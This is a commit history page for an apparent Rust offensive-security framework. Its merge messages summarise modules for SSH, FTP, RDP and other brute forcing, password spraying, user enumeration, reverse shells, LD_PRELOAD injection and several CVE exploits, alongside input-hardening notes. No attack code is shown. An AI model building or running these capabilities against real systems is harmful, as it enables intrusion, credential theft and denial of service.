Compare commits

...

366 Commits

Author SHA1 Message Date
S.B dbd2b50ef2 Delete .github/workflows directory 2026-01-05 07:57:41 +02:00
S.B eb2e8542a9 Add pnet dependency and update home for 2024 2026-01-05 07:56:21 +02:00
S.B f02c6a2274 Create changelog-latest.md 2026-01-05 07:55:33 +02:00
S.B 5650be5720 Create changelog.md 2026-01-05 07:55:04 +02:00
S.B 4ee5eeab42 Add files via upload 2026-01-05 00:51:03 -05:00
S.B 818a82982f Add files via upload 2026-01-05 00:47:55 -05:00
S.B f4d7c45f1d Create test 2026-01-05 07:47:04 +02:00
S.B 421b2508a0 Delete src directory 2026-01-05 07:34:14 +02:00
S.B e4066ceea6 Delete changelog directory 2026-01-05 07:30:21 +02:00
S.B 0f2d4cad8a Update README.md 2026-01-05 07:27:56 +02:00
S.B 1a53215512 Update readme.md 2026-01-05 07:26:59 +02:00
S.B 34aa655e36 Create Latest-changelog.md 2026-01-05 07:16:09 +02:00
S.B 1741c043f9 Delete changelog/archive/changelog-2026.md 2026-01-05 07:15:46 +02:00
S.B b1ac4e0190 Create changelog-2026.md 2026-01-05 07:15:28 +02:00
S.B 1b4dfca8e2 Delete changelog/test 2026-01-05 07:14:05 +02:00
S.B a78073381b Delete changelog/archive/test 2026-01-05 07:13:55 +02:00
S.B 17e081eb16 Create changelog.md 2026-01-05 07:13:43 +02:00
S.B 5299059ca8 Create test 2026-01-05 07:12:59 +02:00
S.B d489e5d2e3 Create test 2026-01-05 07:12:43 +02:00
S.B 337d7d5249 Delete changelog/archive/2025 directory 2026-01-05 07:11:31 +02:00
S.B ef5457d00a Add files via upload 2026-01-05 00:11:17 -05:00
S.B 0164912f52 Delete changlog/archived/2025 directory 2026-01-05 07:10:05 +02:00
S.B d62c65e8fb Create changelog.md 2026-01-05 07:09:46 +02:00
S.B cdeed7c799 Delete changelog.md 2026-01-05 07:08:57 +02:00
S.B da075a08ce Merge pull request #30 from s-b-repo/cliptic-raxirtos
Cliptic raxirtos
2025-12-09 23:49:43 +02:00
S.B d91e1d2a25 Update changelog.md 2025-12-09 23:40:56 +02:00
S.B 5d0634670b Add files via upload 2025-12-09 23:40:11 +02:00
S.B d6d9e5e836 Delete src directory 2025-12-09 23:37:51 +02:00
S.B 30396b2414 Merge pull request #29 from s-b-repo/cliptic-raxirtos
Cliptic raxirtos
2025-12-07 20:21:36 +02:00
S.B a24d9c79de Update print statement from 'Hello' to 'Goodbye' 2025-12-07 20:18:51 +02:00
S.B aed7b0b93e Add files via upload 2025-12-07 20:17:33 +02:00
S.B c26a0f116c Update readme.md 2025-12-07 20:16:08 +02:00
S.B 7a781ae2fa Update README with highlights and examples 2025-12-07 20:12:30 +02:00
S.B ba3a6480d2 Update README.md 2025-12-07 20:10:35 +02:00
S.B ae435a2143 Add files via upload 2025-12-07 20:09:41 +02:00
S.B 20b610a1d5 Delete src directory 2025-12-07 20:07:55 +02:00
S.B 9de9f0a8c9 Merge pull request #28 from s-b-repo/more-brute-forcing
More brute forcing


###  arc 2 nimla patching



Analyze and fix ABUS variant1 module - add colored output, standardize features
Analyze and fix ABUS variant2 module - add colored output, standardize features
Review and standardize other exploit modules for consistency
Verify all modules compile and logic is correct
Based on my analysis, here are the key features that should be standardized across exploit modules where compatible:
Colored output using the colored crate for better UX
Timeout configuration for HTTP clients
IPv6 normalization
SSL certificate skip for testing targets with self-signed certs
Informative banners/output with status indicators
Let me update the ABUS variant1 module to have these standardized features:


ABUS Security Camera CVE-2023-26609 Modules
Variant 1 (abussecurity_camera_cve202326609variant1.rs)

Features added:

Colored output using the colored crate for better UX
Display banner with module information
Timeout configuration (10 second default)
Improved prompts with colored formatting
Stage indicators (Stage 1/2/3) for the SSH persistence flow
Better error messages with red coloring for failures
Status-based output - green for success, red for failure
Variant 2 (abussecurity_camera_cve202326609variant2.rs)

Features added:

Colored output using the colored crate
Display banner with module information
Timeout configuration (10 second default)
Input validation - checks for empty username/password
Stage indicators for the SSH persistence flow
Improved user feedback with colored status messages
Other Modules Updated
I also standardized these modules with colored output, banners, timeouts, and improved UX:
ACTi ACM-5611 RCE - Added banner, colored output, port prompts, vulnerability check feedback
AVTech Camera CVE-2024-7029 - Added banner, colored output, improved shell interface
TP-Link WR740N DoS - Added banner, colored output, improved prompts
Zabbix SQL Injection - Added banner, colored output, timing-based detection improvement
Uniview NVR Password Disclosure - Added banner, colored output, improved feedback
Sample Exploit - Added banner, colored output for demonstration
Standardized Features Across All Modules

The following features are now consistently available where compatible:

Feature	Description
Colored Output	Using colored crate for cyan info, yellow warnings, green success, red errors
Display Banners	ASCII art banners showing module name, CVE, and description
Timeout Configuration	Configurable HTTP timeouts (default 10 seconds)
SSL Certificate Skip	danger_accept_invalid_certs(true) for testing self-signed certs
IPv6 Normalization	Proper handling of IPv6 addresses with bracket normalization
Input Validation	Checking for empty required fields
Stage Indicators	Yellow stage markers for multi-step exploits
All modules compile successfully with no warnings from cargo clippy. The code logic remains intact and all original functionality is preserved.


Credential Modules Standardized
Camera Modules
acti_camera_default.rs - Added colored output, display banner, timeout constant, and colored status messages for FTP/SSH/Telnet/HTTP checks
Generic Modules
Module	Changes
ftp_anonymous.rs	Added display_banner(), colored output, timeout constant
ftp_bruteforce.rs	Added display_banner(), updated header styling
sample_cred_check.rs	Added display_banner(), colored output, timeout with danger_accept_invalid_certs
ssh_bruteforce.rs	Already had banner and statistics - unchanged
telnet_bruteforce.rs	Already had comprehensive banner and statistics - unchanged
rdp_bruteforce.rs	Added display_banner(), updated header styling
smtp_bruteforce.rs	Added display_banner(), improved colored output for success/failure
pop3_bruteforce.rs	Already had banner and statistics - unchanged
snmp_bruteforce.rs	Added display_banner(), updated header styling
rtsp_bruteforce_advanced.rs	Added display_banner(), updated header styling
l2tp_bruteforce.rs	Added display_banner(), updated header styling
fortinet_bruteforce.rs	Added display_banner(), updated header styling
enablebruteforce.rs	Added display_banner(), full colored output
Standard Features Added

All modules now have:

 Cyan-bordered ASCII banner with module title
 Colored target information ([*] in cyan)
 Green success messages ([+])
 Yellow warning/failure messages ([-])
 Red error messages ([!])
 Consistent use of colored crate
 IPv6 address handling where applicable
 Timeout constants where applicable
The project compiles cleanly with cargo build and passes cargo clippy with no warnings.

Critical Issues Found:
SSH Bruteforce - Semaphore acquired BEFORE spawning task (blocks task creation)
FTP/RDP/SNMP Bruteforce - Missing progress statistics
Several modules - Missing retry logic and connection rate limit handling
Let me fix these:


Critical Fixes:

1. SSH Bruteforce - Fixed concurrency bug

The semaphore was being acquired BEFORE spawning the task, which serialized task creation. Now acquires permit INSIDE the spawned task for true concurrent execution.

2. Enable Bruteforce (ulimit) - Fixed non-functional code

Running ulimit -n 65535 in a subprocess does NOT affect the parent process. Rewrote to use setrlimit() syscall directly, which actually raises the file descriptor limit in the current process.
Standardized Features Added

Added Statistics tracking and real-time progress reporting to:
Module	Concurrency Model	Progress Reporting Added
FTP Bruteforce	tokio async + Semaphore	
RDP Bruteforce	tokio async + Semaphore	
SNMP Bruteforce	tokio async + spawn_blocking	
RTSP Bruteforce	tokio async + Semaphore	
L2TP Bruteforce	tokio async + Semaphore	
Fortinet Bruteforce	tokio async + Semaphore	
SMTP Bruteforce	ThreadPool + crossbeam	
Already Correctly Implemented

Module	Notes:

Telnet Bruteforce	Uses tokio async TcpStream (correctly async), already has statistics
POP3 Bruteforce	Uses ThreadPool + crossbeam (correct for blocking I/O), already has statistics
Concurrency Models Verified
Async modules (FTP, RDP, SSH, RTSP, L2TP, Fortinet, Telnet): Use tokio::net::TcpStream or spawn_blocking for blocking libraries - 

this is correct

Blocking modules (POP3, SMTP): Use ThreadPool with crossbeam_channel - this is correct for blocking socket I/O

All modules now have consistent:

Real-time progress reporting (attempts/s rate)
Statistics summary at completion
Colored output for success/failure/errors



All fixed. The warnings are resolved:

enablebruteforce.rs - Removed unused std::process::Command import (no longer needed since we now use the libc syscalls directly)
ftp_bruteforce.rs - Removed unused log function (replaced with inline colored output)
fortinet_bruteforce.rs - Removed unused log function (replaced with inline colored output)


Standardized Features Added:

Scanner	Banner	Colored Output	Statistics	Progress	Save Results
sample_scanner.rs	 Added	 Added	 Added		 Added
http_title_scanner.rs	 Enhanced	 Enhanced	 Added	 Added	 Already had
http_method_scanner.rs	 Enhanced	 Enhanced	 Added	N/A	 Already had
dns_recursion.rs	 Added	 Enhanced	 Added	N/A	N/A (targets output)
ssdp_msearch.rs	 Added	 Already had	 Added	N/A	 Added
port_scanner.rs	 Already had	 Already had	 Already had	 Already had	 Already had
ping_sweep.rs	 Already had	 Already had	 Already had	 Already had	 Already had

Key Improvements:

Consistent Banners - All scanners now display a cyan-colored ASCII banner with module description
Colored Output - Success (green), warnings (yellow), errors (red), info (cyan)
Statistics - All scanners report:
Total items scanned
Successful/Failed counts
Duration
Rate (where applicable)
Save Results - Option to save scan results to file
Progress Reporting - Real-time progress for longer scans
All modules compile cleanly with no warnings.


Security Enhancements Summary

main.rs

Added validate_bind_address() - validates bind address format using SocketAddr::parse(), checks length limits, control characters
Added validate_api_key() - validates API key length (max 256 chars), ensures only printable ASCII
Added validate_ip_limit() - validates IP limit range (1-10,000)
All CLI inputs are now validated before use

shell.rs

Added new constants: MAX_URL_LENGTH, MAX_PATH_LENGTH, MAX_PROMPT_INPUT_LENGTH

Enhanced prompt_for_path():

Length validation
Control character rejection
Path traversal prevention (.. blocked)

Enhanced prompt_string_default():

Length validation
Control character rejection
URL format validation (if input looks like URL)

Enhanced prompt_yes_no():

Max attempt limiting (10 attempts)
Length validation
Enhanced prompt_u64() and prompt_usize():
Max attempt limiting
Length validation
Strict digit-only validation
Overflow protection with saturating_add()

config.rs

Added MAX_TARGET_LENGTH and MAX_HOSTNAME_LENGTH constants

Enhanced set_target():

Length validation
Control character rejection
Path traversal prevention

Added validate_hostname_or_ip():

Hostname length validation (DNS max 253)
Valid character regex check
Format validation (no leading/trailing special chars)
Consecutive dot detection

api.rs

Added RequestBodyLimitLayer (1MB max) to prevent DoS via large payloads
Added MAX_TRACKED_IPS (100,000) and MAX_AUTH_FAILURE_ENTRIES (100,000) limits

Enhanced track_ip():

IP string length validation
Automatic cleanup when tracker exceeds limits
saturating_add() for overflow protection

Enhanced record_auth_failure():

IP string length validation
Automatic cleanup of expired/old entries
saturating_add() for overflow protection
utils.rs (already well-secured)
Already had comprehensive validation:
MAX_TARGET_LENGTH, MAX_MODULE_PATH_LENGTH, MAX_FILE_SIZE
Path traversal checks
File size limits
Proxy URL validation


---

## v0.4.0 - Comprehensive Security Hardening (November 2025)

###  Input Validation & Security (All Core Files)

#### main.rs

- **NEW:** `validate_bind_address()` - Validates bind address format using `SocketAddr::parse()`:
  - Length limits (max 128 characters)
  - Control character rejection
  - Socket address format validation
- **NEW:** `validate_api_key()` - Validates API key:
  - Length limits (max 256 characters)
  - Only printable ASCII characters allowed
  - Empty/whitespace rejection
- **NEW:** `validate_ip_limit()` - Validates hardening IP limit:
  - Range validation (1-10,000)
  - Prevents resource exhaustion

#### shell.rs

- **NEW Constants:**
  - `MAX_URL_LENGTH` (2048) - URL input length limit
  - `MAX_PATH_LENGTH` (4096) - File path length limit
  - `MAX_PROMPT_INPUT_LENGTH` (1024) - General prompt input limit

- **Enhanced `prompt_for_path()`:**
  - Length validation
  - Control character rejection
  - Path traversal prevention (`..` blocked)

- **Enhanced `prompt_string_default()`:**
  - Length validation
  - Control character rejection
  - Automatic URL format validation when input looks like URL

- **Enhanced `prompt_yes_no()`:**
  - Max attempt limiting (10 attempts before default)
  - Length validation (max 10 chars)
  - Prevents infinite loops on bad input

- **Enhanced `prompt_u64()` and `prompt_usize()`:**
  - Max attempt limiting (10 attempts)
  - Length validation (max 20 chars)
  - Strict digit-only validation
  - Overflow protection
  - Better error messages

#### config.rs

- **NEW Constants:**
  - `MAX_TARGET_LENGTH` (2048) - Target string limit
  - `MAX_HOSTNAME_LENGTH` (253) - DNS hostname limit

- **Enhanced `set_target()`:**
  - Length validation
  - Control character rejection
  - Path traversal prevention (`..`, `//` blocked)
  - Hostname/IP format validation

- **NEW:** `validate_hostname_or_ip()` - Validates hostname/IP:
  - Hostname length validation (DNS max 253)
  - Valid character regex check (`[a-zA-Z0-9.\-_:\[\]]+`)
  - Format validation (no leading/trailing special chars)
  - Consecutive dot detection

#### api.rs

- **NEW:** `RequestBodyLimitLayer` (1MB max) - Prevents DoS via large request bodies
- **NEW Constants:**
  - `MAX_REQUEST_BODY_SIZE` (1MB)
  - `MAX_TRACKED_IPS` (100,000)
  - `MAX_AUTH_FAILURE_ENTRIES` (100,000)

- **Enhanced `track_ip()`:**
  - IP string length validation (max 128 chars)
  - Automatic cleanup when tracker exceeds limits
  - Prunes oldest entries, keeps most recent half
  - `saturating_add()` for overflow protection

- **Enhanced `record_auth_failure()`:**
  - IP string length validation (max 128 chars)
  - Automatic cleanup of expired blocks and old entries (>1 hour)
  - `saturating_add()` for overflow protection
  - Memory-efficient housekeeping

#### Cargo.toml

- Added `limit` feature to `tower-http` for request body limiting

###  Summary

All user-facing input paths now have:

-  Length limits to prevent memory exhaustion
-  Control character rejection
-  Path traversal prevention
-  Format validation where applicable
-  Overflow protection
-  Maximum attempt limits on prompts
-  Automatic resource cleanup in API


Documentation Updates Summary


README.md (Main README)


Highlights Section: Added security hardening to feature list, expanded credential modules to include SNMP, L2TP, Fortinet
Module Catalog: Updated with all new modules (Flowise RCE, HTTP/2 Rapid Reset, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed) and expanded scanner capabilities (SYN/ACK scans)
Security Features Section: Added new "Input Validation & Security" subsection documenting:
Request body limiting (1MB)
API key validation
Target validation
Module path sanitization
Resource limits with automatic cleanup
Enhanced rate limiting with auto-cleanup
Enhanced hardening mode with auto-pruning
docs/readme.md (Developer Guide)
Table of Contents: Added new "Security & Input Validation" section
Code Layout: Updated to include api.rs, config.rs, and telnet-default/ directory
NEW Section - Security & Input Validation: Comprehensive developer guide including:
Input validation constants table (all limits across files)

Security patterns with code examples:

Input length validation
Control character rejection
Path traversal prevention
Hostname/target validation
Overflow protection
Prompt attempt limiting
API security implementation details
File operations security guidelines
lists/readme.md (Data Files Catalog)
Available Files: Added telnet-default/ directory with its files (usernames.txt, passwords.txt, empty.txt)
Ideas Section: Added suggestions for SNMP, Fortinet, and SSH default credential lists
NEW Section - Security Notes: Guidelines for contributing wordlists:
No malicious payloads
File size limits
UTF-8 encoding requirements
Line format standards

changelog.md

NEW Section - v0.4.0: Complete documentation of all security enhancements:
main.rs validation functions
shell.rs prompt hardening
config.rs target validation
api.rs resource limits and cleanup
Cargo.toml changes

---

## v0.4.1 - SSHPWN Integration (November 2025)

###  New SSH Attack Modules

Integrated comprehensive SSH attack framework based on OpenSSH 10.0p1 vulnerability analysis.

#### SFTP Attack Module (`exploits/ssh/sshpwn_sftp_attacks`)

Based on sftp-server.c vulnerabilities:

- **Symlink Injection** (process_symlink) - Create symlinks to sensitive files, bypass chroot
- **Setuid Bit Attack** (process_setstat 07777) - Set setuid/setgid bits on uploaded files
- **Path Traversal** (process_open) - Escape chroot restrictions
- **Partial Write Race** (process_write) - Exploit write atomicity issues

#### SCP Attack Module (`exploits/ssh/sshpwn_scp_attacks`)

Based on scp.c vulnerabilities:

- **Path Traversal** (sink function) - Write outside target directory
- **Username Shell Injection** (okname) - Shell metacharacter injection
- **Brace Expansion DoS** (brace_expand) - Client-side memory exhaustion
- **Command Injection** (do_cmd) - Inject commands via arguments

#### Session Attack Module (`exploits/ssh/sshpwn_session`)

Based on session.c vulnerabilities:

- **Environment Variable Injection** (do_setup_env) - Inject LD_PRELOAD, PATH, etc.
- **Command Execution** - Execute commands on authenticated targets
- **Reverse Shell** - Multiple payload types (bash, python, nc, perl, php, ruby)
- **File Upload/Download** - SFTP-based file transfer

###  New SSH Scanner (`scanners/ssh_scanner`)

Network reconnaissance for SSH services:

- CIDR range support
- IPv4/IPv6 support  
- Banner grabbing
- Concurrent scanning (configurable threads)
- Results export

###  New SSH Credential Modules

#### SSH User Enumeration (`creds/generic/ssh_user_enum`)

Timing attack for user enumeration (CVE-2018-15473 style):

- Measures authentication response timing
- Compares against baseline for invalid users
- Configurable samples and threshold
- Wordlist support

#### SSH Password Spray (`creds/generic/ssh_spray`)

Spray single password across multiple targets:

- Avoids account lockouts
- CIDR range support
- Concurrent spraying
- Results export

###  Module Summary

| Module | Path | Type |
|--------|------|------|
| SFTP Attacks | `exploits/ssh/sshpwn_sftp_attacks` | Exploit |
| SCP Attacks | `exploits/ssh/sshpwn_scp_attacks` | Exploit |
| Session Attacks | `exploits/ssh/sshpwn_session` | Exploit |
| SSH Scanner | `scanners/ssh_scanner` | Scanner |
| SSH User Enum | `creds/generic/ssh_user_enum` | Credential |
| SSH Spray | `creds/generic/ssh_spray` | Credential |

All modules feature:
s
-  Colored output with status indicators
-  Interactive configuration prompts
-  Input validation
-  IPv4/IPv6 support
-  Results export capability



SSHPWN Integration Summary

New SSH Exploit Modules (src/modules/exploits/ssh/)

1. sshpwn_sftp_attacks.rs - SFTP Attacks

Based on sftp-server.c vulnerabilities:

Symlink Injection - Create symlinks to read sensitive files like /etc/passwd, /etc/shadow
Setuid Bit Attack - Set setuid/setgid bits on uploaded files (07777 mask vulnerability)
Path Traversal - Escape chroot restrictions via traversal paths
Partial Write Race - Exploit write atomicity issues

2. sshpwn_scp_attacks.rs - SCP Attacks

Based on scp.c vulnerabilities:

Path Traversal - Protocol injection, null byte injection, newline injection
Username Shell Injection - Exploit incomplete okname() filtering ($(), backticks, pipes)
Brace Expansion DoS - Client-side memory exhaustion via {a,b}^n patterns
Command Injection - ProxyCommand, rsync-path, ControlPath injection

3. sshpwn_session.rs - Session Attacks

Based on session.c vulnerabilities:

Environment Injection - LD_PRELOAD, LD_LIBRARY_PATH, PATH, BASH_ENV injection
Command Execution - Execute arbitrary commands
Reverse Shells - 8 payload types (bash, python, python3, nc, perl, php, ruby)
File Upload/Download - SFTP-based transfer
New SSH Scanner (src/modules/scanners/)

ssh_scanner.rs - SSH Service Scanner

CIDR range support (192.168.1.0/24)
IP range support (192.168.1.1-254)
IPv4/IPv6 support
Banner grabbing
Concurrent scanning with configurable threads
Results export to file
New SSH Credential Modules (src/modules/creds/generic/)

ssh_user_enum.rs - User Enumeration (Timing Attack)

CVE-2018-15473 style timing attack
Measures authentication response times
Compares against baseline timing
Configurable samples and threshold
Wordlist support

ssh_spray.rs - Password Spray

Spray single password across multiple targets/users
Avoids account lockouts
CIDR range support
Concurrent spraying
Results export
Module Access Paths
Module	Full Path	Short Name
SFTP Attacks	exploits/ssh/sshpwn_sftp_attacks	sshpwn_sftp_attacks
SCP Attacks	exploits/ssh/sshpwn_scp_attacks	sshpwn_scp_attacks
Session Attacks	exploits/ssh/sshpwn_session	sshpwn_session
SSH Scanner	scanners/ssh_scanner	ssh_scanner
User Enumeration	creds/generic/ssh_user_enum	ssh_user_enum
Password Spray	creds/generic/ssh_spray	ssh_spray
All modules compile cleanly and follow the RustSploit patterns with colored output, interactive prompts, and input validation.


Summary of fixes:

Fixed format string error in sshpwn_scp_attacks.rs:227:
Rust doesn't support Python's {:,} format for thousands separators
Added a format_number() helper function that formats numbers with comma separators
Removed unused import in sshpwn_sftp_attacks.rs:15:
Changed use ssh2::{Session, Sftp} → use ssh2::Session
Fixed unused variable in sshpwn_scp_attacks.rs:176:
Changed port: u16 → _port: u16
Fixed unused variable in sshpwn_session.rs:94:
Changed timeout: u64 → _timeout: u64
Build result: Finished dev profile [unoptimized + debuginfo] target(s) in 24.64s with exit code 0 - no warnings or errors!

New sshpwn_auth_passwd.rs Features:

Password Length DoS Test - Tests auth2-passwd.c's lack of explicit password length limit
Password Change Information Leak - Documents server fingerprinting via password change responses
Auth Timing Attack - User enumeration via mm_auth_password timing differences
Bcrypt 72-byte Truncation Test - Detects if server uses bcrypt's password truncation
Added Interactive Shell to sshpwn_session.rs:
Continuous command execution loop
Tracks current working directory
Built-in !upload and !download commands
exit/quit to disconnect

 Complete SSH Module Implementation

Module	Path	Attacks Implemented

SFTP Attacks	exploits/ssh/sshpwn_sftp_attacks.rs	Symlink injection, Setuid bit, Path traversal, Partial write
SCP Attacks	exploits/ssh/sshpwn_scp_attacks.rs	Path traversal, Username injection, Brace DoS, Command injection
Session Attacks	exploits/ssh/sshpwn_session.rs	Env injection, Command exec, Interactive shell, Reverse shell, Upload/Download
Auth Password	exploits/ssh/sshpwn_auth_passwd.rs	Password length DoS, Password change info leak, Auth timing attack, Bcrypt truncation
SSH Scanner	scanners/ssh_scanner.rs	CIDR scan, Banner grab, Concurrent scanning
SSH User Enum	creds/generic/ssh_user_enum.rs	Timing-based user enumeration
SSH Spray	creds/generic/ssh_spray.rs	Password spray across targets
SSH Bruteforce	creds/generic/ssh_bruteforce.rs	Credential bruteforce

New sshpwn_auth_passwd.rs Features:

Password Length DoS Test - Tests auth2-passwd.c's lack of explicit password length limit
Password Change Information Leak - Documents server fingerprinting via password change responses
Auth Timing Attack - User enumeration via mm_auth_password timing differences
Bcrypt 72-byte Truncation Test - Detects if server uses bcrypt's password truncation
Added Interactive Shell to sshpwn_session.rs:
Continuous command execution loop
Tracks current working directory
Built-in !upload and !download commands
exit/quit to disconnect

 Build Complete - All Warnings Fixed

SSH Modules Wired:

Exploit Modules (6):

Module	Description
sshpwn_auth_passwd	Auth password attacks (length DoS, timing, bcrypt truncation)
sshpwn_pam	PAM attacks (memory exhaustion, env injection, timing)
sshpwn_session	Session attacks (exec, revshell, interactive shell, upload/download)
sshpwn_scp_attacks	SCP attacks (traversal, username injection, brace DoS, cmd injection)
sshpwn_sftp_attacks	SFTP attacks (symlink, setuid, traversal, partial write)
opensshserver_9_8p1race_condition	Race condition exploit
Credential Modules (3):
Module	Description
ssh_bruteforce	SSH credential brute force
ssh_spray	SSH password spraying
ssh_user_enum	SSH user enumeration (timing attack)
Scanner Modules (1):
Module	Description
ssh_scanner	SSH service discovery and banner grabbing

Fixes Applied:

 Removed unused HashMap import from sshpwn_pam.rs
 Removed unused Read import from sshpwn_auth_passwd.rs
 Fixed unused port variable - now used in output
 Removed unused DEFAULT_TIMEOUT_SECS constant
 Removed unused prompt() function
 Removed unused PathBuf imports from generator files
 Added sshpwn_pam to mod.rs
2025-11-28 22:34:31 +02:00
S.B 66964ba639 Update readme.md 2025-11-28 22:31:14 +02:00
S.B cb3ad7c22d Update extra.txt 2025-11-28 22:30:34 +02:00
S.B 423b0e0838 Update Cargo.toml 2025-11-28 22:28:53 +02:00
S.B cb053d5be3 Update readme.md 2025-11-28 22:27:50 +02:00
S.B 39c8d8ccc8 Update README.md 2025-11-28 22:26:17 +02:00
S.B b2c85875fa Update changelog.md 2025-11-28 22:23:00 +02:00
S.B ee6d4e399e Add files via upload 2025-11-28 22:22:17 +02:00
S.B 8af6d45e32 Delete src directory 2025-11-28 22:19:19 +02:00
S.B a0c8c723dc Update changelog.md 2025-11-26 16:59:39 +02:00
S.B 97c366a846 Update Cargo.toml 2025-11-26 16:58:57 +02:00
S.B 7fc4148202 Add files via upload 2025-11-26 16:57:48 +02:00
S.B ab8256fc19 Delete src directory 2025-11-26 16:55:31 +02:00
S.B 3403cec7f9 Merge pull request #27 from s-b-repo/rust-2024-edition-migration
Rust 2024 edition migration
2025-11-26 16:48:21 +02:00
S.B 99e31b1c2f Update Cargo.toml 2025-11-24 15:03:07 +02:00
S.B c9e93614a4 Add files via upload 2025-11-24 14:59:46 +02:00
S.B 227dc38663 Delete preview.png 2025-11-24 14:59:29 +02:00
S.B b1ca5f1151 Add files via upload 2025-11-24 14:58:34 +02:00
S.B 6c153eee99 Delete src directory 2025-11-24 14:56:45 +02:00
S.B c9712dc4a9 Add files via upload 2025-11-24 14:53:44 +02:00
S.B be1c4158af Delete src directory 2025-11-24 14:52:09 +02:00
S.B 26913cdbf6 Merge pull request #26 from s-b-repo/beta-testing
Beta testing
2025-11-24 14:16:37 +02:00
S.B f21fab17b8 Update Cargo.toml 2025-11-24 14:05:49 +02:00
S.B fef7339690 Update changelog.md 2025-11-24 14:02:39 +02:00
S.B 4224c696cc Update Cargo.toml 2025-11-24 13:59:23 +02:00
S.B 8c96ee3628 Update changelog.md 2025-11-24 13:57:01 +02:00
S.B 4b63dd711e Add files via upload 2025-11-24 13:55:41 +02:00
S.B 0d81e0e6ed Delete src directory 2025-11-24 13:54:11 +02:00
S.B bae1a091e4 Update telnet_bruteforce.rs 2025-11-24 11:24:57 +02:00
S.B 7ae50993be Add files via upload 2025-11-24 11:23:46 +02:00
S.B 948d802a3b Create empty.txt 2025-11-24 11:23:25 +02:00
S.B cd6ffb9a9e Merge pull request #25 from s-b-repo/DEVORP2
Update Cargo.toml
2025-11-23 22:10:28 +02:00
S.B f8e5c0af46 Update Cargo.toml 2025-11-23 20:27:47 +02:00
S.B 5f75e369cc Merge pull request #24 from s-b-repo/konimta
Konimta
2025-11-20 14:32:19 +02:00
S.B 80a4a5843c Update changelog.md 2025-11-20 14:31:04 +02:00
S.B 1051216ddd Update telnet_bruteforce.rs 2025-11-20 14:28:15 +02:00
S.B 8eb8058ad6 Update README.md 2025-11-20 08:42:10 +02:00
S.B 63f8cac2ca Add files via upload 2025-11-20 08:38:40 +02:00
S.B 71bc20cee0 Merge pull request #23 from s-b-repo/tsinurao-mod-chip
Tsinurao mod chip
2025-11-20 08:36:18 +02:00
S.B 34b6faf140 Update changelog.md 2025-11-20 07:32:13 +02:00
S.B 7f359683da Update changelog.md 2025-11-20 07:31:23 +02:00
S.B 1bbe3ae651 Add files via upload 2025-11-20 07:30:42 +02:00
S.B 6100aa9964 Delete src directory 2025-11-20 07:23:20 +02:00
S.B 0e3da4499f Update README.md 2025-11-16 19:23:51 +02:00
S.B 55a30f91f0 Update README.md 2025-11-16 19:22:16 +02:00
S.B 33284b158a Update Cargo.toml 2025-11-16 19:20:41 +02:00
S.B 624090055c Update changelog.md 2025-11-16 19:19:28 +02:00
S.B f60e5e50ca Add files via upload 2025-11-16 19:18:48 +02:00
S.B 05f1a03dfc Delete src directory 2025-11-16 19:13:49 +02:00
S.B 6dc6d2ecfb Merge pull request #22 from s-b-repo/lots-o-fixes
Lots o fixes
2025-11-15 03:35:56 +02:00
S.B 60163b46e6 Update changelog.md 2025-11-15 03:34:21 +02:00
S.B f185052df1 Update Cargo.toml 2025-11-15 03:32:10 +02:00
S.B a4a466083f Add files via upload 2025-11-15 03:31:38 +02:00
S.B 1e285f95c7 Delete src directory 2025-11-15 03:29:15 +02:00
S.B 9ac7c7fce2 Merge pull request #21 from s-b-repo/dockerize
Dockerize
2025-11-14 15:24:46 +02:00
S.B 268f7cec4f Update README.md 2025-11-14 13:37:38 +02:00
S.B 64c10cde10 Update Cargo.toml 2025-11-14 13:36:22 +02:00
S.B e534341e82 Update changelog.md 2025-11-14 10:09:01 +02:00
S.B ed30bde3ee Update changelog.md 2025-11-14 10:08:20 +02:00
S.B f166b8ac51 Add files via upload 2025-11-14 10:07:31 +02:00
S.B 7e2a244fe5 Add files via upload 2025-11-14 10:06:55 +02:00
S.B 512c75ebf1 Delete src directory 2025-11-14 10:03:32 +02:00
S.B af7b2fc80f Update README.md 2025-11-13 09:58:18 +02:00
S.B 1cdebfead5 Update README.md 2025-11-13 09:57:09 +02:00
S.B 472238a883 Update changelog.md 2025-11-13 09:42:40 +02:00
S.B 408007fded Merge pull request #20 from s-b-repo/api-mode-build.rs-improvements-scanner-improvements
Api mode build.rs improvements scanner improvements
2025-11-13 09:42:08 +02:00
S.B 5cb4694bad Update Cargo.toml 2025-11-13 09:39:39 +02:00
S.B 28c9d27857 Add files via upload
panos module
Added improvements from the new version:
Better error handling with Context for more informative error messages
Enhanced file reading that filters empty lines and comments (lines starting with #)
Colored output:
Yellow for testing/info messages
Green for vulnerable findings
Red for errors/not vulnerable
Cyan for headers and vulnerable URLs
Better feedback messages showing what's being tested
Summary statistics showing vulnerable count for batch scans
Proper error propagation with ? operator


Flowise RCE Module (CVE-2025-59528)

Location: src/modules/exploits/flowise/cve_2025_59528_flowise_rce.rs
Status: Fully implemented
Has pub async fn run(target: &str) -> Result<()> signature
Registered in src/modules/exploits/flowise/mod.rs
Listed in src/modules/exploits/mod.rs

Features:

Banner display
Interactive prompts (email, password, command)
Login functionality
RCE execution via customMCP endpoint
Error handling with colored output
Cookie-based session management
401 retry logic

Framework Integration:

Auto-discovered by build script
Available as: flowise/cve_2025_59528_flowise_rce or cve_2025_59528_flowise_rce
HTTP/2 Rapid Reset DoS Module (CVE-2023-44487)
Location: src/modules/exploits/http2/cve_2023_44487_http2_rapid_reset.rs
Status: Fully implemented
Has pub async fn run(target: &str) -> Result<()> signature
Registered in src/modules/exploits/http2/mod.rs
Listed in src/modules/exploits/mod.rs

Features:

Banner display with legal disclaimer
Interactive prompts (port, SSL, streams, delay, baseline)
Baseline test functionality
Rapid reset attack implementation
Vulnerability analysis with risk assessment
IPv6 support
SSL/TLS support via tokio-rustls
Error handling with colored output

Framework Integration:

Auto-discovered by build script
Available as: http2/cve_2023_44487_http2_rapid_reset or cve_2023_44487_http2_rapid_reset

Dependencies Added:

h2 = "0.3" - HTTP/2 protocol implementation
tokio-rustls = "0.24" - Async TLS support
http = "1.0" - HTTP types


Implementation status
Module structure:
Exported in src/modules/exploits/http2/mod.rs
Auto-discovered by the build script (registered as http2/cve_2023_44487_http2_rapid_reset)
Core functions:
banner() — displays module banner
normalize_host() — handles IPv6 address formatting
baseline_test() — performs baseline HTTP/2 requests (SSL and non-SSL)
rapid_reset_test() — performs the rapid reset attack test (SSL and non-SSL)
run() — main entry point with interactive prompts
Features:
SSL/TLS support with proper certificate handling
Non-SSL support for plain HTTP/2
Baseline testing before the attack
Rapid stream creation and reset
Vulnerability analysis with risk assessment
